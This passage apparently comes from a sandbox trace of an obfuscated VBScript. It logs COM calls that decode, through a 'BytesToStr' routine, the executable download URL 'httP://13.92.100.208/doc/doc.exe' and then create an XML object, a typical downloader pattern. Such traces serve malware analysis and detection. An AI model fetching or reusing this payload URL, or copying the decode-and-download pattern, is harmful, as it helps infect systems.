cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0089.140] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0089.140] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.140] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.140] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.140] GetCurrentThreadId () returned 0xd44 [0089.140] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.140] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.140] malloc (_Size=0x804) returned 0x83fc220 [0089.140] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.141] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.141] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.141] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Position", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=3) returned 0x0 [0089.141] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0089.141] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.141] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0089.141] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0089.141] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0089.141] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=4) returned 0x0 [0089.141] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0089.141] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0089.142] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962b320) returned 0x0 [0089.142] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0089.142] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0089.142] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=8) returned 0x0 [0089.142] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0089.142] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0089.142] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962b320) returned 0x0 [0089.142] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0089.142] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.143] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.143] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.143] GetCurrentThreadId () returned 0xd44 [0089.143] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.143] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.143] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.143] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.143] GetCurrentThreadId () returned 0xd44 [0089.144] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.144] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.144] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.144] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.144] GetCurrentThreadId () returned 0xd44 [0089.144] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.144] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.144] malloc (_Size=0x804) returned 0x83fc220 [0089.144] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.145] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.145] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.145] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=19) returned 0x0 [0089.145] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0089.145] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.145] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x0), pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0089.145] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0089.145] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0089.145] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.146] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.146] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.146] GetCurrentThreadId () returned 0xd44 [0089.147] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.147] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.147] malloc (_Size=0x804) returned 0x83fc220 [0089.147] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.147] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0089.147] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0089.147] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.147] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.148] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.148] GetCurrentThreadId () returned 0xd44 [0089.148] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.148] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.148] malloc (_Size=0x804) returned 0x83fc220 [0089.148] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.148] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.148] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.148] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Close", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=11) returned 0x0 [0089.149] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0089.149] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.149] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0089.149] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0089.149] free (_Block=0x1197880) [0089.150] free (_Block=0x86ea2e0) [0089.150] free (_Block=0x844c5d0) [0089.150] free (_Block=0x83d9f10) [0089.150] ??3@YAXPAX@Z () returned 0xc80001 [0089.150] free (_Block=0x1197838) [0089.150] free (_Block=0x11c29f0) [0089.150] free (_Block=0x11917e0) [0089.150] free (_Block=0x83d9df8) [0089.150] ??3@YAXPAX@Z () returned 0xb60001 [0089.151] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0089.151] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="varrya", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0089.151] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="varrya", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0089.151] GetCurrentThreadId () returned 0xd44 [0089.151] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.151] ??2@YAPAXI@Z () returned 0x86bff10 [0089.151] malloc (_Size=0x804) returned 0x83fc220 [0089.151] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.152] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0089.152] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.152] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.152] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.152] GetCurrentThreadId () returned 0xd44 [0089.152] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.152] ??2@YAPAXI@Z () returned 0x11c2228 [0089.152] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.153] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="cvbnm", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.153] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="cvbnm", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.153] GetCurrentThreadId () returned 0xd44 [0089.153] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.153] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.153] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="soswjwslvc", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.153] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="soswjwslvc", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.153] GetCurrentThreadId () returned 0xd44 [0089.153] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.153] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.154] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.154] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.154] GetCurrentThreadId () returned 0xd44 [0089.154] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.154] malloc (_Size=0x204) returned 0x11917e0 [0089.154] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.154] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.154] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vposaleusaogr", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.154] GetCurrentThreadId () returned 0xd44 [0089.154] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.155] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.155] malloc (_Size=0x804) returned 0x83fc220 [0089.155] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0089.156] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x1544ac | out: lpclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0089.156] SysStringLen (param_1=0x0) returned 0x0 [0089.156] CoGetClassObject (in: rclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x15449c | out: ppv=0x15449c*=0x72b7d4b8) returned 0x0 [0089.156] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154498 | out: ppvObject=0x154498*=0x0) returned 0x80004002 [0089.156] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544a0 | out: ppvObject=0x1544a0*=0x556eb8) returned 0x0 [0089.156] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0089.156] DOMDocument:IUnknown:QueryInterface (in: This=0x556eb8, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154464 | out: ppvObject=0x154464*=0x556ee4) returned 0x0 [0089.156] ??2@YAPAXI@Z () returned 0x1112bf0 [0089.157] DOMDocument:IObjectWithSite:SetSite (This=0x556ee4, pUnkSite=0x1112bf0) returned 0x0 [0089.157] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154318 | out: ppvObject=0x154318*=0x0) returned 0x80004002 [0089.157] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154308 | out: ppvObject=0x154308*=0x0) returned 0x80004002 [0089.157] DOMDocument:IUnknown:AddRef (This=0x1112bf0) returned 0x2 [0089.157] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1543c8 | out: ppvObject=0x1543c8*=0x1112bf0) returned 0x0 [0089.157] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153328 | out: ppvObject=0x153328*=0x1112bf0) returned 0x0 [0089.157] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 